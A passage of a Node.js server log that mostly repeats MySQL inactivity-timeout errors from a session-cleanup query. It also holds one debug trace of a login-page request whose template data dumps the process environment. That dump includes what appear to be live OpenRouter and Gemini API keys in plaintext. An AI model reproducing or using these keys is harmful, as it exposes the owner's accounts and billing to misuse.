    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-04 08:14:26' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-04 08:56:26' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-04 08:56:26' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-04 10:07:49' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-04 10:07:49' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-04 11:36:49' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-04 11:36:49' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-04 14:48:27' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-04 14:48:27' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-04 15:24:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-04 15:24:50' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-04 16:49:47' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-04 16:49:47' as DATETIME)"
}
2026-01-04T17:46:16.415Z server-connect:router Serving templateView /
2026-01-04T17:46:16.417Z server-connect:app Executing action step identify
2026-01-04T17:46:16.417Z server-connect:app options: { provider: 'security' }
2026-01-04T17:46:16.417Z server-connect:auth No login cookie found
2026-01-04T17:46:16.417Z server-connect:output identity: false
2026-01-04T17:46:16.417Z server-connect:app Executing action step restrict
2026-01-04T17:46:16.417Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-04T17:46:16.418Z server-connect:output restrict: undefined
2026-01-04T17:46:19.087Z server-connect:router Serving templateView /login
2026-01-04T17:46:19.088Z server-connect:app Executing action step identify
2026-01-04T17:46:19.088Z server-connect:app options: { provider: 'security' }
2026-01-04T17:46:19.088Z server-connect:auth No login cookie found
2026-01-04T17:46:19.088Z server-connect:output identity: false
2026-01-04T17:46:19.088Z server-connect:router Render template layouts/authentication
2026-01-04T17:46:19.088Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'sec-ch-ua': '"Chromium";v="139", "Not:A-Brand";v="24", "Brave";v="139"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'sec-gpc': '1',
    'accept-language': 'en-US,en;q=0.5',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '165.227.185.130',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-05T17:46:19.087Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '165.227.185.130',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_SEC_CH-UA': '"Chromium";v="139", "Not:A-Brand";v="24", "Brave";v="139"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    HTTP_SEC_GPC: '1',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '165.227.185.130',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-04 17:51:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-04 17:51:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-04 18:03:27' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-04 18:03:27' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-04 18:08:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-04 18:08:50' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-04 19:29:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-04 19:29:50' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-04 21:05:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-04 21:05:50' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-04 22:12:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-04 22:12:50' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-04 23:28:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-04 23:28:51' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-05 00:23:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-05 00:23:51' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-05 00:47:27' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-05 00:47:27' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-05 01:17:27' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
